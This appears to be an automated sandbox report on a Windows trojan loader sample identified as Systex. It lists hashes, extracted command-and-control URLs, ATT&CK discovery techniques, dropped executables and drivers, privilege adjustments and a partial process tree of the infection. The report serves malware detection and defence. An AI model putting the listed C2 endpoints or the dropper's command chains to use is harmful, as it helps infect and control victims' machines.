systex | 877f8ec13bcc5a97b192b2d59b93bbc0c6645b331c9dd32267dfbabd78bc9305

Analysis

max time kernel
117s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 13:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260701-ql62dsg18x
SHA256 877f8ec13bcc5a97b192b2d59b93bbc0c6645b331c9dd32267dfbabd78bc9305
MD5 895fd4b10011a94024d28ee8e00e0b4b
SHA1 472e9f3c9566228199865c5cceb2b135da1352b7
SHA512 26acd4214e4e68ed052e9406ac6d164ea71694d211fc2a8e4fdafaa8550b09cdad53de8aee377e700511c1632223530b68d0ebdfa21f92cd01da07ec1781e495
SSDEEP 6144:KflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:KflfAsiVGjSGecvX
TLSH
T11C747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
780	idyvqkidavtnlfdx.exe
3468	idyvqkidavtnlfdx.sys
2028	CreateProcess.exe
5952	lfdxvqnidv.exe
4276	CreateProcess.exe
3240	CreateProcess.exe
5152	i_lfdxvqnidv.exe
2332	sqkicavsnl.sys
6116	CreateProcess.exe
584	hfaxvpnifa.exe
3836	CreateProcess.exe
4024	CreateProcess.exe
3532	i_hfaxvpnifa.exe
1672	causmkfcxv.sys
5680	CreateProcess.exe
2292	spkicausnh.exe
5344	CreateProcess.exe
1184	CreateProcess.exe
4936	i_spkicausnh.exe
4148	xupnhfcamk.sys
1712	CreateProcess.exe
5168	pmhfzxrpjh.exe
3692	CreateProcess.exe
1708	CreateProcess.exe
4072	i_pmhfzxrpjh.exe
3920	cwusmkeczu.sys
3384	CreateProcess.exe
4688	xrpjhbzurm.exe
380	CreateProcess.exe
4636	CreateProcess.exe
1788	i_xrpjhbzurm.exe
1864	romgezwuom.sys
4560	CreateProcess.exe
3652	romjhbztro.exe
1808	CreateProcess.exe
4792	CreateProcess.exe
6088	i_romjhbztro.exe
5124	ywqomjgbyt.sys
4840	CreateProcess.exe
1872	bywroigbyt.exe
1036	CreateProcess.exe
1948	CreateProcess.exe
2032	i_bywroigbyt.exe
1960	bvtolgdyvt.sys
2856	CreateProcess.exe
1852	tolgdyvqol.exe
2680	CreateProcess.exe
1956	CreateProcess.exe
2264	i_tolgdyvqol.exe
336	jdbvtnlfdy.sys
2764	CreateProcess.exe
972	idbvtnlfdy.exe
4568	CreateProcess.exe
552	CreateProcess.exe
3480	i_idbvtnlfdy.exe
5832	nifdavsqnl.sys
5156	CreateProcess.exe
4256	kifayvtnli.exe
3688	CreateProcess.exe
4396	CreateProcess.exe
3568	i_kifayvtnli.exe
1056	sqkicausnk.sys
5628	CreateProcess.exe
1892	kicausmkfc.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4236_153741229\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4236_1613218626\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4236_1613218626\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4236_620907283\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4236_620907283\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bywroigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicausmkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idyvqkidavtnlfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tolgdyvqol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kifayvtnli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjebzwrojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdxvqnidv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spkicausnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idbvtnlfdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kifayvtnli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mjebzwrojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdxvqnidv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhbzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tolgdyvqol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_khfzxrmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfaxvpnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	romjhbztro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bywroigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpmhecxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spkicausnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_romjhbztro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idbvtnlfdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	khfzxrmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwuomgezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfaxvpnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpjhbzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpmhecxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicausmkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwuomgezw.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3564	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3152	ipconfig.exe
2352	ipconfig.exe
5200	ipconfig.exe
1132	ipconfig.exe
5976	ipconfig.exe
4456	ipconfig.exe
5768	ipconfig.exe
3060	ipconfig.exe
2364	ipconfig.exe
3404	ipconfig.exe
5900	ipconfig.exe
5340	ipconfig.exe
4900	ipconfig.exe
5564	ipconfig.exe
1672	ipconfig.exe
5556	ipconfig.exe
4292	ipconfig.exe
3780	ipconfig.exe
2632	ipconfig.exe
5460	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134273857329069349"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3865087520-2734723108-1233268525-1000\{1E6B3722-F7A8-4B4F-9C8C-7449DBDA2587}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
780	idyvqkidavtnlfdx.exe
780	idyvqkidavtnlfdx.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
780	idyvqkidavtnlfdx.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
780	idyvqkidavtnlfdx.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
780	idyvqkidavtnlfdx.exe
780	idyvqkidavtnlfdx.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
780	idyvqkidavtnlfdx.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
780	idyvqkidavtnlfdx.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
780	idyvqkidavtnlfdx.exe
780	idyvqkidavtnlfdx.exe

Suspicious behavior: LoadsDriver 16 IoCs

pid	Process
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found
800	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4236	msedge.exe
4236	msedge.exe
4236	msedge.exe
4236	msedge.exe
4236	msedge.exe
4236	msedge.exe
4236	msedge.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	5152	i_lfdxvqnidv.exe
Token: SeDebugPrivilege	3532	i_hfaxvpnifa.exe
Token: SeDebugPrivilege	4936	i_spkicausnh.exe
Token: SeDebugPrivilege	4072	i_pmhfzxrpjh.exe
Token: SeDebugPrivilege	1788	i_xrpjhbzurm.exe
Token: SeDebugPrivilege	6088	i_romjhbztro.exe
Token: SeDebugPrivilege	2032	i_bywroigbyt.exe
Token: SeDebugPrivilege	2264	i_tolgdyvqol.exe
Token: SeDebugPrivilege	3480	i_idbvtnlfdy.exe
Token: SeDebugPrivilege	3568	i_kifayvtnli.exe
Token: SeDebugPrivilege	1084	i_kicausmkfc.exe
Token: SeDebugPrivilege	3448	i_khfzxrmkec.exe
Token: SeDebugPrivilege	832	i_xrpmhecxup.exe
Token: SeDebugPrivilege	5976	i_ecwuomgezw.exe
Token: SeDebugPrivilege	3324	i_mjebzwrojg.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4236	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6036 wrote to memory of 780	6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	88
PID 6036 wrote to memory of 1984	6036	2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 1984 wrote to memory of 4236	1984	iexplore.exe	90
PID 4236 wrote to memory of 976	4236	msedge.exe	91
PID 4236 wrote to memory of 680	4236	msedge.exe	93
PID 4236 wrote to memory of 3564	4236	msedge.exe	92
PID 4236 wrote to memory of 680	4236	msedge.exe	93
PID 4236 wrote to memory of 680	4236	msedge.exe	93
PID 4236 wrote to memory of 5248	4236	msedge.exe	95
PID 4236 wrote to memory of 5248	4236	msedge.exe	95
PID 4236 wrote to memory of 3460	4236	msedge.exe	96
PID 4236 wrote to memory of 4972	4236	msedge.exe	97
PID 4236 wrote to memory of 3460	4236	msedge.exe	96
PID 4236 wrote to memory of 3460	4236	msedge.exe	96
PID 4236 wrote to memory of 4972	4236	msedge.exe	97
PID 4236 wrote to memory of 4972	4236	msedge.exe	97
PID 4236 wrote to memory of 5820	4236	msedge.exe	98
PID 4236 wrote to memory of 2624	4236	msedge.exe	99
PID 4236 wrote to memory of 5820	4236	msedge.exe	98
PID 4236 wrote to memory of 5820	4236	msedge.exe	98
PID 4236 wrote to memory of 2624	4236	msedge.exe	99
PID 4236 wrote to memory of 2624	4236	msedge.exe	99
PID 4236 wrote to memory of 588	4236	msedge.exe	101
PID 4236 wrote to memory of 588	4236	msedge.exe	101
PID 780 wrote to memory of 2028	780	idyvqkidavtnlfdx.exe	104
PID 5952 wrote to memory of 4276	5952	lfdxvqnidv.exe	107
PID 4236 wrote to memory of 1880	4236	msedge.exe	110
PID 4236 wrote to memory of 1880	4236	msedge.exe	110
PID 4236 wrote to memory of 1448	4236	msedge.exe	111
PID 4236 wrote to memory of 1448	4236	msedge.exe	111
PID 4236 wrote to memory of 2040	4236	msedge.exe	113
PID 4236 wrote to memory of 4252	4236	msedge.exe	114
PID 4236 wrote to memory of 4252	4236	msedge.exe	114
PID 4236 wrote to memory of 1028	4236	msedge.exe	115
PID 4236 wrote to memory of 1028	4236	msedge.exe	115
PID 780 wrote to memory of 3240	780	idyvqkidavtnlfdx.exe	118
PID 780 wrote to memory of 6116	780	idyvqkidavtnlfdx.exe	122
PID 584 wrote to memory of 3836	584	hfaxvpnifa.exe	124
PID 4236 wrote to memory of 3188	4236	msedge.exe	127
PID 4236 wrote to memory of 3188	4236	msedge.exe	127
PID 4236 wrote to memory of 3188	4236	msedge.exe	127
PID 4236 wrote to memory of 3536	4236	msedge.exe	128
PID 4236 wrote to memory of 3536	4236	msedge.exe	128
PID 4236 wrote to memory of 3536	4236	msedge.exe	128
PID 780 wrote to memory of 4024	780	idyvqkidavtnlfdx.exe	129
PID 780 wrote to memory of 5680	780	idyvqkidavtnlfdx.exe	133
PID 2292 wrote to memory of 5344	2292	spkicausnh.exe	135
PID 780 wrote to memory of 1184	780	idyvqkidavtnlfdx.exe	138
PID 780 wrote to memory of 1712	780	idyvqkidavtnlfdx.exe	142
PID 5168 wrote to memory of 3692	5168	pmhfzxrpjh.exe	144
PID 780 wrote to memory of 1708	780	idyvqkidavtnlfdx.exe	148
PID 4236 wrote to memory of 336	4236	msedge.exe	150
PID 4236 wrote to memory of 1216	4236	msedge.exe	151
PID 4236 wrote to memory of 2424	4236	msedge.exe	152
PID 780 wrote to memory of 3384	780	idyvqkidavtnlfdx.exe	155
PID 4688 wrote to memory of 380	4688	xrpjhbzurm.exe	157
PID 780 wrote to memory of 4636	780	idyvqkidavtnlfdx.exe	160
PID 780 wrote to memory of 4560	780	idyvqkidavtnlfdx.exe	164
PID 3652 wrote to memory of 1808	3652	romjhbztro.exe	166
PID 780 wrote to memory of 4792	780	idyvqkidavtnlfdx.exe	169
PID 780 wrote to memory of 4840	780	idyvqkidavtnlfdx.exe	173
PID 1872 wrote to memory of 1036	1872	bywroigbyt.exe	175
PID 780 wrote to memory of 1948	780	idyvqkidavtnlfdx.exe	178
PID 780 wrote to memory of 2856	780	idyvqkidavtnlfdx.exe	182

C:\Users\Admin\AppData\Local\Temp\2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-01_895fd4b10011a94024d28ee8e00e0b4b_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6036
- C:\Temp\idyvqkidavtnlfdx.exe
  C:\Temp\idyvqkidavtnlfdx.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lfdxvqnidv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2028
  - - C:\Temp\lfdxvqnidv.exe
      C:\Temp\lfdxvqnidv.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5952
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4276
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3060
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_lfdxvqnidv.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3240
  - - C:\Temp\i_lfdxvqnidv.exe
      C:\Temp\i_lfdxvqnidv.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5152
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfaxvpnifa.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:6116
  - - C:\Temp\hfaxvpnifa.exe
      C:\Temp\hfaxvpnifa.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:584
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3836
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3152
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfaxvpnifa.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4024
  - - C:\Temp\i_hfaxvpnifa.exe
      C:\Temp\i_hfaxvpnifa.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\spkicausnh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5680
  - - C:\Temp\spkicausnh.exe
      C:\Temp\spkicausnh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2292
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5344
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_spkicausnh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1184
  - - C:\Temp\i_spkicausnh.exe
      C:\Temp\i_spkicausnh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4936
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmhfzxrpjh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1712
  - - C:\Temp\pmhfzxrpjh.exe
      C:\Temp\pmhfzxrpjh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5168
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
